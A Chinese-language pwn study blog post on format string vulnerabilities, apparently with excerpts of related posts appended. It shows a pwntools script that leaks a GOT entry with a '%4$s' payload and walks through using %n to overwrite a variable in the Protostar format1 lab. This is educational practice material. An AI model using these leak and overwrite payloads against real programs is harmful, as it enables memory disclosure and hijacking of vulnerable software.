pwn 學習筆記 格式化串計算偏移量

2021-08-23 14:21:52 字數 1988 閱讀 4967

學習參照:

利用%s洩露libc函式的got表內容

addr%k$s可以用來洩露指定位址的內容,但要先確定k的值,可控制的格式化字串引數是函式第幾個引數(k+1),減一就是格式化字串的第幾個引數(k)。

利用  [tag]%p%p%p%p%p%p%p%p%p%p來確定k的值

(懶得打字)

利用下面這個指令碼隨便改改就可以洩露got表內容了,覺得自己好草率

from pwn import *

sh = process('./leakmemory')

leakmemory = elf('./leakmemory')

__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']

print hex(__isoc99_scanf_got)

payload = p32(__isoc99_scanf_got) + '%4$s'

print payload

gdb.attach(sh)

sh.sendline(payload)

sh.recvuntil('%4$s\n')

print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got

sh.interactive()

利用%n覆蓋記憶體輸出格式 %n 可以將所輸出字串的長度值賦紿乙個變數, 見下例:

int slen;

printf("hello world%n", &slen);

執行後變數slen被賦值為11。

payload結構:...[overwrite addr]....%[overwrite offset]$n

我們需要先1.確定要覆蓋的內容的位址 2.確定與可控變數的相對偏移 3.構造payload進行覆蓋

這裡以protostar的format1為例子(

原始碼為:

看原始碼可知,由print(string)引起的只要target不為0,就能執行if語句中的命令,思路就是覆蓋target變數位址的內容,使target有值。

1.找到target的位址

找到target的位址為0x08049638

2.計算target與print引數的偏移量

被這步不知道坑了多久,終於找到了乙個靠譜的方法(

參拜了大神的方法之後,算出來偏移量,步驟如下

先大概測一下

減少四個

發現還差兩個,補一下

可以看到括號裡為自己輸入的abcd,終於對啦,把abcd換為target的位址

3.括號裡面變成了target的位址,接下來只用把最後的[%08x],換成[%08n]

就可以覆蓋target的內容,是target不在為空,成功執行if語句中的命令

艱難的一天終於結束啦,果然還是晚上腦子比較好用。洗洗睡吧

pwn 格式化字串漏洞

原理 因為沒有正確使用printf 函式 正確使用 printf s str 不正規使用 printf str 控制字串str可以爆出stack內內容從而實現任意位址讀或者任意位址寫 入門題01 18行存在格式化字串漏洞 只需輸入在hello之後輸入password所在位址,接收password值再...

pwn初識格式化字串漏洞

格式化字串漏洞通常情況下是由printf函式產生的 正常情況下我們用printf函式輸出字串時是這樣的 char a 100 fmtstr int b 12,c 666 printf s d x a,b,c 但是有時是出於方便會直接輸出字串 char str 12 fmtstr printf str...

某道Pwn(格式化字串漏洞)

格式化字串漏洞近幾年出現頻率少了,但是一些 ctf 中還有涉及,就當玩玩好了。首先看這一段 什麼比賽的題我忘了 include int main void return 0 目標是拿到flag。我們使用gcc編譯之後用objdump反編譯 8048507 c7 45 8800 0000 00 mov...